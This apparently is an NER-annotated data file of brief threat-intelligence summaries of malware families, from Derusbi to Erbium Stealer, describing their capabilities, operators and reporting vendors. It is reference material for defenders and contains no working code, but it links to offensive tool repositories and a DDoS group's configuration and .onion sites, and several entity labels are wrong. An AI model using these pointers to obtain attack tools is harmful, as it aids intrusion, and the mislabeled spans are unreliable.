+{"text": "A DLL backdoor also reported publicly as “Derusbi”, capable of obtaining directory, file, and drive listing; creating a reverse shell; performing screen captures; recording video and audio; listing, terminating, and creating processes; enumerating, starting, and deleting registry keys and values; logging keystrokes, returning usernames and passwords from protected storage; and renaming, deleting, copying, moving, reading, and writing to files.", "spans": {"MALWARE: Derusbi": [[42, 49]]}, "info": {"source": "apt_reports", "name": "Derusbi"}}
+{"text": "According to Microsoft, this was used in a limited destructive malware attack in early March 2022 impacting a single Ukrainian entity. DesertBlade is responsible for iteratively overwriting and then deleting overwritten files on all accessible drives (sparing the system if it is a domain controller).", "spans": {"MALWARE: DesertBlade": [[135, 146]], "ORGANIZATION: Microsoft": [[13, 22]]}, "info": {"source": "apt_reports", "name": "DesertBlade"}}
+{"text": "According to Microsoft, DevilsTongue is a complex modular multi-threaded piece of malware written in C and C++ with several novel capabilities.\r\nFor files on disk, PDB paths and PE timestamps are scrubbed, strings and configs are encrypted, and each file has a unique hash. The main functionality resides in DLLs that are encrypted on disk and only decrypted in memory, making detection more difficult. Configuration and tasking data is separate from the malware, which makes analysis harder.  DevilsTongue has both user mode and kernel mode capabilities.", "spans": {"MALWARE: DevilsTongue": [[24, 36], [494, 506]], "ORGANIZATION: Microsoft": [[13, 22]]}, "info": {"source": "apt_reports", "name": "DevilsTongue"}}
+{"text": "DEVMAN is a ransomware which shares a large part of its codebase with DragonForce ransomware. It is highly probable that the group used a DragonForce ransomware build and simply changed the extension added to the encrypted files (from .dragonforce_encrypted to .devman). In one of the first observed samples, the ransom note still claimed to be part of the DragonForce Ransomware Cartel.\r\n\r\nThe ransomware implements common features such as the deletion of ShadowCopies, and avoid encrypting files with some extensions present in a hard-coded list. The ransomware implements multiple encryption modes:\r\n\r\n- Full encryption\r\n- Header-only encryption\r\n- Custom encryption\r\n\r\nThese modes allow the operator to choose between a quick or a strong encryption depending on the scenario. The ransomware also tries to connect to SMB folders.\r\n\r\nDEVMAN ransomware creates a temporary session under the following registry key: `HKEY_CURRENT_USER\\Software\\Microsoft\\RestartManager\\Session0000`. The use of the Restart Manager to bypass file locks and ensure encrypted access to active user session files. This capability seems to be a legacy of Conti ransomware, which inspired DragonForce and DEVMAN. As part of this legacy, the ransomware use a hard-coded mutex to prevent multiple instances from running in parallel.", "spans": {"MALWARE: DEVMAN": [[0, 6], [836, 842], [1182, 1188]], "THREAT_ACTOR: DragonForce": [[70, 81], [138, 149], [357, 368], [1166, 1177]], "SYSTEM: SMB": [[820, 823]], "ORGANIZATION: Microsoft": [[944, 953]], "MALWARE: Conti": [[1133, 1138]]}, "info": {"source": "apt_reports", "name": "DEVMAN"}}
+{"text": "Dexphot is a cryptominer Malware attacking windows machines to gain profit from their resources. It implements many techniques to evade common security systems and a file-less technology to become inject malicious behavior. According to Microsoft the Dexphot It hijacked legitimate system processes to disguise malicious activity. If not stopped, Dexphot is equipped by monitoring services and scheduled tasks triggering re-infection when defenders attempt to remove the malware.", "spans": {"MALWARE: Dexphot": [[0, 7], [251, 258], [347, 354]], "ORGANIZATION: Microsoft": [[237, 246]]}, "info": {"source": "apt_reports", "name": "Dexphot"}}
+{"text": "Dexter is a computer virus or point of sale malware which infects computers running Microsoft Windows and was discovered by IT security firm Seculert, in December 2012. It infects PoS systems worldwide and steals sensitive information such as Credit Card and Debit Card information.", "spans": {"MALWARE: Dexter": [[0, 6]], "SYSTEM: Windows": [[94, 101]], "ORGANIZATION: Microsoft": [[84, 93]]}, "info": {"source": "apt_reports", "name": "Dexter"}}
+{"text": "According to MalwareBytes, the Dharma Ransomware family is installed manually by attackers hacking into computers over Remote Desktop Protocol Services (RDP). The attackers will scan the Internet for computers running RDP, usually on TCP port 3389, and then attempt to brute force the password for the computer.\r\n\r\nOnce they gain access to the computer they will install the ransomware and let it encrypt the computer. If the attackers are able to encrypt other computers on the network, they will attempt to do so as well.", "spans": {"MALWARE: Dharma": [[31, 37]], "TOOL: RDP": [[153, 156], [218, 221]], "TOOL: Remote Desktop Protocol": [[119, 142]], "VULNERABILITY: brute force": [[269, 280]]}, "info": {"source": "apt_reports", "name": "Dharma"}}
+{"text": "According to PCrisk, DiamondFox is highly modular malware offered as malware-as-a-service, and is for sale on various hacker forums. Therefore, cyber criminals who are willing to use DiamondFox do not necessarily require any technical knowledge to perform their attacks.\r\n\r\nOnce purchased, this malware can be used to log keystrokes, steal credentials (e.g., usernames, email addresses, passwords), hijack cryptocurrency wallets, perform distributed denial of service (DDoS) attacks, and to carry out other malicious tasks.\r\n\r\nDiamondFox allows cyber criminals to choose which plug-ins to keep activated and see infection statistics in real-time.", "spans": {"MALWARE: DiamondFox": [[21, 31], [183, 193], [527, 537]], "ORGANIZATION: PCrisk": [[13, 19]], "VULNERABILITY: DDoS": [[469, 473]], "VULNERABILITY: denial of service": [[450, 467]]}, "info": {"source": "apt_reports", "name": "DiamondFox"}}
+{"text": "A ransomware with potential ties to Wizard Spider.", "spans": {"MALWARE: Wizard Spider": [[36, 49]]}, "info": {"source": "apt_reports", "name": "Diavol"}}
+{"text": "A RAT written in .NET, used by FIN7 since 2021. In some instances dropped by ps1.powertrash.", "spans": {"THREAT_ACTOR: FIN7": [[31, 35]], "SYSTEM: .NET": [[17, 21]]}, "info": {"source": "apt_reports", "name": "DICELOADER"}}
+{"text": "APT10's fork of the (open-source) Quasar RAT.", "spans": {"THREAT_ACTOR: APT10": [[0, 5]], "TOOL: Quasar RAT": [[34, 44]]}, "info": {"source": "apt_reports", "name": "DILLJUICE"}}
+{"text": "Downloader.", "spans": {}, "info": {"source": "apt_reports", "name": "DilongTrash"}}
+{"text": "Downloader.", "spans": {}, "info": {"source": "apt_reports", "name": "DinoTrain"}}
+{"text": "DMSniff is a point-of-sale malware previously only privately sold.  It has been used in breaches of small- and medium-sized businesses in the restaurant and entertainment industries.  It uses a domain generation algorithm (DGA) to create lists of command-and-control domains on the fly.", "spans": {"MALWARE: DMSniff": [[0, 7]]}, "info": {"source": "apt_reports", "name": "DMSniff"}}
+{"text": "DneSpy collects information, takes screenshots, and downloads and executes the latest version of other malicious components in the infected system. The malware is designed to receive a “policy” file in JSON format with all the commands to execute. The policy file sent by the C&C server can be changed and updated over time, making dneSpy flexible and well-designed. The output of each executed command is zipped, encrypted, and exfiltrated to the C&C server. These characteristics make dneSpy a fully functional espionage backdoor.", "spans": {}, "info": {"source": "apt_reports", "name": "DneSpy "}}
+{"text": "DNSMessenger makes use of DNS TXT record queries and responses to create a bidirectional Command and Control (C2) channel. This allows the attacker to use DNS communications to submit new commands to be run on infected machines and return the results of the command execution to the attacker.", "spans": {"MALWARE: DNSMessenger": [[0, 12]]}, "info": {"source": "apt_reports", "name": "DNSMessenger"}}
+{"text": "DogHousePower is a PyInstaller-based ransomware targeting web and database servers. It is delivered through a PowerShell downloader and was hosted on Github.", "spans": {"MALWARE: DogHousePower": [[0, 13]], "TOOL: PowerShell": [[110, 120]]}, "info": {"source": "apt_reports", "name": "DogHousePower"}}
+{"text": "Since late February 2023, Minodo Backdoor campaigns have been employed to deliver either the Project Nemesis information stealer or more sophisticated backdoors like Cobalt Strike. This backdoor collects basic system information, which it then transmits to the C2 server. In return, it receives an AES-encrypted payload. Notably, the Minodo Backdoor is designed to contact a different C2 address for domain-joined systems. This suggests that more capable backdoors, such as Cobalt Strike, are downloaded on higher-value targets instead of Project Nemesis.", "spans": {"MALWARE: Minodo": [[26, 32], [334, 340]], "THREAT_ACTOR: Cobalt": [[166, 172], [474, 480]], "TOOL: Cobalt Strike": [[166, 179], [474, 487]]}, "info": {"source": "apt_reports", "name": "Minodo"}}
+{"text": "Donot malware is a sophisticated, high-level malware toolkit designed to collect and exfiltrate information from vulnerable systems. It has been used in targeted attacks against government and military organizations in Asia. Donot malware is highly complex and well-crafted, and it poses a serious threat to information security.", "spans": {"MALWARE: Donot": [[0, 5], [225, 230]]}, "info": {"source": "apt_reports", "name": "DONOT"}}
+{"text": "Donut is an open-source in-memory injector/loader, designed for execution of VBScript, JScript, EXE, DLL files and dotNET assemblies. It was used during attacks against U.S. organisations according to Threat Hunter Team (Symantec) and U.S. Defence contractors (Unit42).\r\nGithub: https://github.com/TheWover/donut", "spans": {"URL: https://github.com/TheWover/donut": [[279, 312]], "MALWARE: Donut": [[0, 5]], "SYSTEM: Symantec": [[221, 229]]}, "info": {"source": "apt_reports", "name": "donut_injector"}}
+{"text": "DoppelDridex is a fork of Indrik Spider's Dridex malware. DoppelDridex has been run as a parallel operation to Dridex with a different malware versioning system, different RSA key, and with different infrastructure.", "spans": {"MALWARE: DoppelDridex": [[0, 12], [58, 70]], "ORGANIZATION: RSA": [[172, 175]], "MALWARE: Indrik Spider": [[26, 39]], "MALWARE: Dridex": [[42, 48], [111, 117]]}, "info": {"source": "apt_reports", "name": "DoppelDridex"}}
+{"text": "Doppelpaymer is a ransomware family that encrypts user data and later on it asks for a ransom in order to restore original files. It is recognizable by its trademark file extension added to encrypted files: .doppeled. It also creates a note file named: \".how2decrypt.txt\".", "spans": {"MALWARE: Doppelpaymer": [[0, 12]]}, "info": {"source": "apt_reports", "name": "DoppelPaymer"}}
+{"text": "Infrastructure and programs used for, as its name suggests, DDoSing.\r\nIt used to be written in Python, nowadays it's written in Go. Clients:\r\n\r\n- Are written in Go. (Used to be written in Python.)\r\n- Do not seem to differ significantly across OS deployments. (Confirmed on Windows, MacOS, Linux, Android)\r\n- Seem to be partly run by NoName themselves.\r\n- Partly also run voluntarily, recruited via dedicated Telegram channels. Participants are rewarded with cryptocurrency. Prints a suggestion to use a VPN for Russia-based launches. (This yields IP-based blocking as rather ineffective, consider behavioral analysis instead.)\r\n\r\nConfiguration:\r\n\r\n- Rotates near-daily. Can be browsed on https://witha.name/ (also reachable via http://withanamemwesdvodfhthjq25a5a3uas24cpgoa7qm6gchcerzpis6qd.onion/).\r\n- Is sent encrypted between C2 and Client.\r\n- Specifies target hostname, subpath, vector protocols, methods, ports, whether SSL is used, headers for HTTP, request bodies.\r\n- Any given config property can be randomly generated with per-use constraints.\r\n- Is provided by a multi-level hierarchy of C2 servers.", "spans": {"URL: https://witha.name/": [[688, 707]], "URL: http://withanamemwesdvodfhthjq25a5a3uas24cpgoa7qm6gchcerzpis6qd.onion/": [[728, 798]], "SYSTEM: Android": [[296, 303]], "SYSTEM: Windows": [[273, 280]], "SYSTEM: Python": [[95, 101], [188, 194]], "SYSTEM: VPN": [[503, 506]], "SYSTEM: Linux": [[289, 294]], "SYSTEM: Telegram": [[408, 416]], "SYSTEM: Go": [[128, 130], [161, 163]]}, "info": {"source": "apt_reports", "name": "Dosia"}}
+{"text": "According to Mandiant, DOSTEALER is a dataminer that mines browser login and cookie data. It is also capable of taking screenshots and logging keystrokes.", "spans": {"MALWARE: DOSTEALER": [[23, 32]], "ORGANIZATION: Mandiant": [[13, 21]]}, "info": {"source": "apt_reports", "name": "DOSTEALER"}}
+{"text": "DOUBLEBACK is a newly discovered fileless malware deployed as part of an attack campaign that took place in December 2020. The threat actors responsible for the operations are tracked as UNC2529 by researchers. According to their findings, DOUBLEBACK is the final payload delivered onto the compromised systems. Its task is to establish and maintain a backdoor on the victim's machine.", "spans": {"MALWARE: DOUBLEBACK": [[0, 10], [240, 250]]}, "info": {"source": "apt_reports", "name": "DOUBLEBACK"}}
+{"text": "A wiper identified by CERT-UA on March 17th, written in C#.", "spans": {"ORGANIZATION: CERT-UA": [[22, 29]]}, "info": {"source": "apt_reports", "name": "DoubleZero"}}
+{"text": "According to Bitdefender, this is an exfiltration tool, scanning local and network drives for sensitive files, like documents, archives, certificates, and cryptographic keys.", "spans": {"SYSTEM: Bitdefender": [[13, 24]]}, "info": {"source": "apt_reports", "name": "DownEx"}}
+{"text": "DownPaper, sometimes delivered as sami.exe, is a Backdoor trojan. Its main functionality is to download\r\nand run a second stage. This malware has been observed in campaigns involving Charming Kitten, an Iranian cyberespionage group.", "spans": {"MALWARE: DownPaper": [[0, 9]], "THREAT_ACTOR: Charming Kitten": [[183, 198]]}, "info": {"source": "apt_reports", "name": "DownPaper"}}
+{"text": "Cyber Defense Institute stated that this shellcode PE loader was observed staging win.hemigate.", "spans": {}, "info": {"source": "apt_reports", "name": "DracuLoader"}}
+{"text": "According to Idan Malihi, this ransomware is based on the LockBit builder from 2022, utilizing similar configurations and attack methods. The ransomware’s icon and wallpaper are embedded in the binary’s overlay, compressed with Zlib, and loaded dynamically during execution.", "spans": {}, "info": {"source": "apt_reports", "name": "DragonForce"}}
+{"text": "2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*)\r\n2014 Dreambot (Gozi ISFB variant)\r\n\r\nIn 2014, a variant of Gozi ISFB was developed. Mainly, the dropper performs additional anti-vm checks (vmware, vbox, qemu), while the actual bot-dll remains unchanged in most parts. New functionality, such as TOR support, was added though and often, the Fluxxy fast-flux network is used.\r\n\r\nSee win.gozi for additional historical information.", "spans": {"MALWARE: Dreambot": [[52, 60]], "MALWARE: Gozi ISFB": [[16, 25], [62, 71], [106, 115]], "MALWARE: Gozi": [[5, 9], [16, 20], [62, 66], [106, 110]], "MALWARE: Pandemyia": [[33, 42]], "MALWARE: ISFB": [[21, 25], [27, 31], [67, 71], [111, 115]]}, "info": {"source": "apt_reports", "name": "DreamBot"}}
+{"text": "OxCERT blog describes Dridex as \"an evasive, information-stealing malware variant; its goal is to acquire as many credentials as possible and return them via an encrypted tunnel to a Command-and-Control (C&C) server. These C&C servers are numerous and scattered all over the Internet, if the malware cannot reach one server it will try another. For this reason, network-based measures such as blocking the C&C IPs is effective only in the short-term.\"\r\nAccording to MalwareBytes, \"Dridex uses an older tactic of infection by attaching a Word document that utilizes macros to install malware. However, once new versions of Microsoft Office came out and users generally updated, such a threat subsided because it was no longer simple to infect a user with this method.\"\r\nIBM X-Force discovered \"a new version of the Dridex banking Trojan that takes advantage of a code injection technique called AtomBombing to infect systems. AtomBombing is a technique for injecting malicious code into the 'atom tables' that almost all versions of Windows uses to store certain application data. It is a variation of typical code injection attacks that take advantage of input validation errors to insert and to execute malicious code in a legitimate process or application. Dridex v4 is the first malware that uses the AtomBombing process to try and infect systems.\"", "spans": {"MALWARE: Dridex": [[22, 28], [481, 487], [814, 820], [1259, 1265]], "SYSTEM: Microsoft Office": [[622, 638]], "SYSTEM: Windows": [[1032, 1039]], "ORGANIZATION: IBM X-Force": [[769, 780]], "ORGANIZATION: X-Force": [[773, 780]], "ORGANIZATION: Microsoft": [[622, 631]], "ORGANIZATION: IBM": [[769, 772]], "VULNERABILITY: code injection": [[862, 876], [1109, 1123]]}, "info": {"source": "apt_reports", "name": "Dridex"}}
+{"text": "Driftpin is a small and simple backdoor that enables the attackers to assess the victim. When executed the trojan connects to a C&C server and receives commands to grab screenshots, enumerate running processes and get information about the system and campaign ID.", "spans": {"MALWARE: Driftpin": [[0, 8]]}, "info": {"source": "apt_reports", "name": "DRIFTPIN"}}
+{"text": "Communicates via Google Drive.", "spans": {"ORGANIZATION: Google": [[17, 23]]}, "info": {"source": "apt_reports", "name": "DriveOcean"}}
+{"text": "Drokbk stands out for its use of the GitHub platform as part of its C&C infrastructure. This makes it difficult to detect and remove, as GitHub is not traditionally associated with malicious activities.\r\n\r\nDrokbk attacks have been linked to the Iranian APT group Nemesis Kitten. This group is believed to use Drokbk for cyberespionage and financial information theft activities.", "spans": {"MALWARE: Drokbk": [[0, 6], [206, 212], [309, 315]], "SYSTEM: GitHub": [[37, 43], [137, 143]]}, "info": {"source": "apt_reports", "name": "Drokbk"}}
+{"text": "DropBook is a backdoor developed by the Molerats group and first appeared in late 2020. The backdoor abuses Facebook and Dropbox platforms for C2 purposes, where fake Facebook accounts are used by the operators to control the backdoor by posting commands on the accounts.", "spans": {"MALWARE: DropBook": [[0, 8]], "THREAT_ACTOR: Molerats": [[40, 48]], "ORGANIZATION: Facebook": [[108, 116], [167, 175]]}, "info": {"source": "apt_reports", "name": "DropBook"}}
+{"text": "Dtrack is a Remote Administration Tool (RAT) developed by the Lazarus group. \r\nIts core functionality includes operations to upload a file to the victim's computer, download a file from the victim's computer, dump disk volume data, persistence and more.\r\n\r\nA variant of Dtrack was found on Kudankulam Nuclear Power Plant (KNPP) which was used for a targeted attack.", "spans": {"MALWARE: Dtrack": [[0, 6], [270, 276]]}, "info": {"source": "apt_reports", "name": "Dtrack"}}
+{"text": "According to Tony Lambert, this is a malware written in .NET. It was observed to be delivered using the .NET Single File deployment feature.", "spans": {"SYSTEM: .NET": [[56, 60], [104, 108]]}, "info": {"source": "apt_reports", "name": "DUCKTAIL"}}
+{"text": "In 2019, multiple destructive attacks were observed targeting entities within the Middle East. The National Cyber Security Centre (NCSC), a part of the National Cybersecurity Authority (NCA), detected a new malware named \"DUSTMAN\" that was detonated on December 29, 2019. Based on analyzed evidence and artifacts found on machines in a victim’s network that were not wiped by the malware. NCSC assess that the threat actor behind the attack had some kind of urgency on executing the files on the date of the attack due to multiple OPSEC failures observed on the infected network. NCSC is calling the malware used in this attack \"DUSTMAN\" after the filename and string embedded in the malware. \"DUSTMAN\" can be considered as a new variant of \"ZeroCleare\" malware,\r\npublished in December 2019.", "spans": {"MALWARE: DUSTMAN": [[222, 229], [629, 636], [694, 701]], "ORGANIZATION: NCSC": [[131, 135], [389, 393], [580, 584]], "ORGANIZATION: NCA": [[186, 189]], "MALWARE: ZeroCleare": [[742, 752]]}, "info": {"source": "apt_reports", "name": "DUSTMAN"}}
+{"text": "According to Proofpoint, DustyHammock is a minimalist backdoor that can run commands via cmd.exe, as well as download and execute additional files. The beacon structure of the DustyHammock communications is highly similar to that of SingleCamper, which suggests that both variants can be administered from the same panel.", "spans": {"MALWARE: DustyHammock": [[25, 37], [176, 188]], "TOOL: cmd.exe": [[89, 96]], "TOOL: cmd": [[89, 92]], "ORGANIZATION: Proofpoint": [[13, 23]], "MALWARE: SingleCamper": [[233, 245]]}, "info": {"source": "apt_reports", "name": "DustyHammock"}}
+{"text": "According to its source repository, dynamichttp is a Mythic C2 Profile, which simply provides a way to get HTTP messages off the wire and forward them to the Mythic server.", "spans": {"MALWARE: dynamichttp": [[36, 47]], "TOOL: Mythic": [[53, 59], [158, 164]]}, "info": {"source": "apt_reports", "name": "dynamichttp"}}
+{"text": "Dynamic Stealer is a Github Project C# written code by L1ghtN4n. This code collects passwords and uploads these to Telegram. According to Cyble this Eternity Stealer leverages code from this project and also Jester Stealer could be rebranded from it.", "spans": {"SYSTEM: Telegram": [[115, 123]], "MALWARE: Eternity Stealer": [[149, 165]]}, "info": {"source": "apt_reports", "name": "DynamicStealer"}}
+{"text": "The Dyre Banking Trojan, discovered in June 2014, targets online banking websites for credential theft and fraud. It uses a man-in-the-browser approach, encryption, and spam emails for distribution. \r\n\r\nDyre's architecture includes a dropper and main DLL module, with techniques for persistence and evasion. Its command and control infrastructure is hidden through proxies, and it can adapt using a domain generation algorithm and I2P integration. Researchers have linked Dyre to the Gozi and Neverquest families.", "spans": {"MALWARE: Dyre": [[4, 8], [203, 207], [472, 476]], "VULNERABILITY: credential theft": [[86, 102]], "MALWARE: Gozi": [[484, 488]]}, "info": {"source": "apt_reports", "name": "Dyre"}}
+{"text": "According to Elastic, EagerBee loads additional capabilities using remotely-downloaded PE files, hosted in C2. However, its implementation and coding practices reveal a lack of advanced skills from the author, relying on basic techniques. During their research, they identified string formatting and underlying behavior that aligns with previous research attributed to a Chinese-speaking threat actor referred to as LuckyMouse (APT27, EmissaryPanda).", "spans": {"MALWARE: EagerBee": [[22, 30]], "THREAT_ACTOR: APT27": [[428, 433]], "ORGANIZATION: Elastic": [[13, 20]]}, "info": {"source": "apt_reports", "name": "EagerBee"}}
+{"text": "This RAT written in C# was derived from HorusEyesRat. It was modified by \"Arsium\" and published on GitHub. There is also a client builder included.\r\nGithub Source: https://github.com/arsium/EagleMonitorRAT", "spans": {"URL: https://github.com/arsium/EagleMonitorRAT": [[164, 205]], "MALWARE: EagleMonitorRAT": [[190, 205]], "SYSTEM: GitHub": [[99, 105]]}, "info": {"source": "apt_reports", "name": "EagleMonitorRAT"}}
+{"text": "According to Cisco Talos, Earthworm is network tunneling tool that has extensively been used by Chinese-speaking threat actors in intrusions to expose internal endpoints to attacker-owned remote infrastructure.", "spans": {"MALWARE: Earthworm": [[26, 35]], "SYSTEM: Cisco": [[13, 18]], "ORGANIZATION: Talos": [[19, 24]], "ORGANIZATION: Cisco Talos": [[13, 24]]}, "info": {"source": "apt_reports", "name": "Earthworm"}}
+{"text": "FireEye describes EASYNIGHT is a loader observed used with several malware families, including HIGHNOON and HIGHNOON.LITE. The loader often acts as a persistence mechanism via search order hijacking.\r\n\r\nExamples include a patched bcrypt.dll with no other modification than an additional import entry, in the observed case \"printwin.dll!gzwrite64\" (breaking the file signature).", "spans": {"MALWARE: EASYNIGHT": [[18, 27]], "ORGANIZATION: FireEye": [[0, 7]], "MALWARE: HIGHNOON": [[95, 103], [108, 116]]}, "info": {"source": "apt_reports", "name": "EASYNIGHT"}}
+{"text": "Easy Stealer is a new information stealer written in Golang that is under active development. Since July 2023, the information stealer has been sold on the underground market, advertising a variety of capabilities, such as the ability to target crypto wallets and passwords. Based on VirusTotal data, it appears that developer test samples were uploaded in June 2023. The panel for the stealer is installed on the buyer's own infrastructure, allowing for exclusive control. The stated pricing models are: $35 for 7 days, $115 for 30 days, and $250 for 90 days. Given its user-friendly panel design and the affordable price range, combined with similar capabilities to other information stealers, Easy Stealer is likely to see an increase in distribution among various cyber criminals as it continues through active development.", "spans": {"MALWARE: Easy Stealer": [[0, 12], [696, 708]], "ORGANIZATION: VirusTotal": [[284, 294]]}, "info": {"source": "apt_reports", "name": "Easy Stealer"}}
+{"text": "According to Intezer, the malware gathers system information and transmits this via (proxy-aware) HTTP requests.", "spans": {"ORGANIZATION: Intezer": [[13, 20]]}, "info": {"source": "apt_reports", "name": "EchoGather"}}
+{"text": "EDA2 is a successor of HiddenTear. Just like HiddenTear it was developed as an open-source project by a security researcher and published on Github. It was meant as \"educational ransomware\" and purposefully had flaws in the encryption process that allow decryption of ransomed files.\r\n\r\nThis backfired, when threat actors began to modify HiddenTear and EDA2 source code. Some modifications introduced bugs where encrypted files were destroyed, others fixed the encryption flaws and made decryption without a key impossible.", "spans": {"MALWARE: EDA2": [[0, 4], [353, 357]], "MALWARE: HiddenTear": [[23, 33], [45, 55], [338, 348]]}, "info": {"source": "apt_reports", "name": "EDA2"}}
+{"text": "According to Orange Cyberdefense, Edam is written in C++ and its PDB path indicates it is called \"droper_dll\". It is capable of establishing persistence by setting up a Run key as Setting App which points towards its own file and then of downloading from another C2 a final stage using HTTP GET.", "spans": {"MALWARE: Edam": [[34, 38]]}, "info": {"source": "apt_reports", "name": "Edam"}}
+{"text": "According to Elastic Security Labs, this is a newly discovered Rust infostealer targeting Windows hosts, which receives a task list from the C2 server identifying data to target.", "spans": {"SYSTEM: Rust": [[63, 67]], "SYSTEM: Windows": [[90, 97]], "ORGANIZATION: Elastic": [[13, 20]]}, "info": {"source": "apt_reports", "name": "EDDIESTEALER"}}
+{"text": "Trend Micro describes EDRSilencer as a red team tool originally designed to interfere with endpoint detection and response solutions via the Windows Filtering Platform, which is actively being used by threat actors.", "spans": {"MALWARE: EDRSilencer": [[22, 33]], "SYSTEM: Windows": [[141, 148]], "SYSTEM: Trend Micro": [[0, 11]]}, "info": {"source": "apt_reports", "name": "EDRSilencer"}}
+{"text": "According to Heimdal, Egregor ransomware infection happens via a loader, then, in the victim’s firewall, it enables the Remote Desktop Protocol. After this part, the malware is free to move inside the victim’s network, identifying and disabling all the antivirus software it can find. The next step is the encryption of the data and the insertion of a ransom note named “RECOVER-FILES.txt” in all the compromised folders.", "spans": {"MALWARE: Egregor": [[22, 29]], "TOOL: Remote Desktop Protocol": [[120, 143]]}, "info": {"source": "apt_reports", "name": "Egregor"}}
+{"text": "The application is a command-line utility and its primary purpose is to tunnel traffic between two IP addresses. The application accepts command-line arguments allowing it to be configured with a destination IP address and port, a source IP address and port, a proxy IP address and port, and a user name and password, which can be utilized to authenticate with a proxy server. It will attempt to establish TCP sessions with the source IP address and the destination IP address. If a connection is made to both the source and destination IPs, this malicious utility will implement a custom protocol, which will allow traffic to rapidly and efficiently be tunneled between two machines. If necessary, the malware can authenticate with a proxy to be able to reach the destination IP address. A configured proxy server is not required for this utility.", "spans": {}, "info": {"source": "apt_reports", "name": "ELECTRICFISH"}}
+{"text": "Elirks is a basic backdoor Trojan, first discovered in 2010, that is primarily used to steal information from compromised systems. Mostly attacks using Elirks occurring in East Asia. One of the unique features of the malware is that it retrieves its C2 address by accessing a pre-determined microblog service or SNS. Attackers create accounts on those services and post encoded IP addresses or the domain names of real C2 servers in advance of distributing the backdoor. Multiple Elirks variants using Japanese blog services for the last couple of years.", "spans": {"MALWARE: Elirks": [[0, 6], [152, 158], [480, 486]]}, "info": {"source": "apt_reports", "name": "Elirks"}}
+{"text": "This dropper masquerades itself as Adobe software, titled as Adobe.msi. It is used to executes the python written Backdoor used by this threat actor.", "spans": {}, "info": {"source": "apt_reports", "name": "El Machete APT Backdoor Dropper"}}
+{"text": "ELMER is a non-persistent proxy-aware HTTP backdoor written in Delphi, and is capable of performing file uploads and downloads, file execution, and process and directory listings. To retrieve commands, ELMER sends HTTP GET requests to a hard-coded CnC server, and parses the HTTP response packets received from the CnC server for an integer string corresponding to the command that needs to be executed.", "spans": {"MALWARE: ELMER": [[0, 5], [202, 207]]}, "info": {"source": "apt_reports", "name": "ELMER"}}
+{"text": "Infostealer", "spans": {}, "info": {"source": "apt_reports", "name": "emansrepo"}}
+{"text": "Emmenhtal is a malicious loader likely distributed since early 2024, and publicly detailed by Orange Cyberdefense CERT in August 2024. \r\nEmmenhtal is an obfuscated multistage payload that spawns an execution of the LOLBIN mshta.exe to read a first HTA stage that embeds a malicious JavaScript code. Once interpreted and executed, the JavaScript decodes and runs a PowerShell script. The latter decrypts an obfuscated PowerShell loader which finally downloads and runs final-stage stealers and commodity RATs.\r\n\r\nAs of March 2025, Orange Cyberdefense CERT has identified three versions of the loader, all actively distributed.", "spans": {"MALWARE: Emmenhtal": [[0, 9], [137, 146]], "TOOL: PowerShell": [[364, 374], [417, 427]], "TOOL: mshta": [[222, 227]]}, "info": {"source": "apt_reports", "name": "Emmenhtal"}}
+{"text": "While Emotet historically was a banking malware organized in a botnet, nowadays Emotet is mostly seen as infrastructure as a service for content delivery. For example, since mid 2018 it is used by Trickbot for installs, which may also lead to ransomware attacks using Ryuk, a combination observed several times against high-profile targets.\r\nIt is always stealing information from victims but what the criminal gang behind it did, was to open up another business channel by selling their infrastructure delivering additional malicious software. From malware analysts it has been classified into epochs depending on command and control, payloads, and delivery solutions which change over time.\r\nEmotet had been taken down by authorities in January 2021, though it appears to have sprung back to life in November 2021.", "spans": {"MALWARE: Emotet": [[6, 12], [80, 86], [694, 700]], "MALWARE: Ryuk": [[268, 272]]}, "info": {"source": "apt_reports", "name": "Emotet"}}
+{"text": "Supposedly a worm that was active around 2012-2013.", "spans": {}, "info": {"source": "apt_reports", "name": "Emudbot"}}
+{"text": "According to Trend Micro, this is a downloader, dedicated to stage execution of a second stage malware called Enigma Stealer.", "spans": {"SYSTEM: Trend Micro": [[13, 24]]}, "info": {"source": "apt_reports", "name": "Enigma Loader"}}
+{"text": "Entropy is a ransomware first seen in 1st quarter of 2022, is being used in conjunction of Dridex infection. The ransomware uses a custom packer to pack itself which has been seen in some early dridex samples.", "spans": {"MALWARE: Entropy": [[0, 7]], "MALWARE: Dridex": [[91, 97]]}, "info": {"source": "apt_reports", "name": "Entropy"}}
+{"text": "Fileless malware 'EntryShell', a variant of the KeyBoy malware, due to similarities in backdoor command IDs and debug messages with old KeyBoy samples. The embedded malware config was encrypted with a unique algorithm.", "spans": {"MALWARE: EntryShell": [[18, 28]], "MALWARE: KeyBoy": [[48, 54], [136, 142]]}, "info": {"source": "apt_reports", "name": "EntryShell"}}
+{"text": "According to Microsoft, Enviserv is a malicious program that is unable to spread of its own accord. It may perform a number of actions of an attacker's choice on an affected computer.", "spans": {"MALWARE: Enviserv": [[24, 32]], "ORGANIZATION: Microsoft": [[13, 22]]}, "info": {"source": "apt_reports", "name": "Enviserv"}}
+{"text": "According to PCrisk, Epsilon is a ransomware-type program. This malware is designed to encrypt the data of infected systems in order to demand payment for decryption.", "spans": {"ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Epsilon Red"}}
+{"text": "Epsilon Stealer is an information stealer sold as Malware as a Service by a new french actor called \"Epsilon\". This malware is distributed as a game, mainly on discord, but steals user credentials, crypto wallets, and stored cookies. It evades static detection by being packed with NSIS, which then launches a malicious Electron package.", "spans": {"MALWARE: Epsilon Stealer": [[0, 15]]}, "info": {"source": "apt_reports", "name": "Epsilon Stealer"}}
+{"text": "Rough collection EQGRP samples, to be sorted", "spans": {}, "info": {"source": "apt_reports", "name": "Equationgroup (Sorting)"}}
+{"text": "Erbium is an information stealer advertised and sold as a Malware-as-a-Service on cybercrime forums and Telegram since at least July 2022. Its capabilities are those of a classic information stealer, with a focus on cryptocurrency wallets, and file grabber capabilities.", "spans": {"SYSTEM: Telegram": [[104, 112]]}, "info": {"source": "apt_reports", "name": "Erbium Stealer"}}
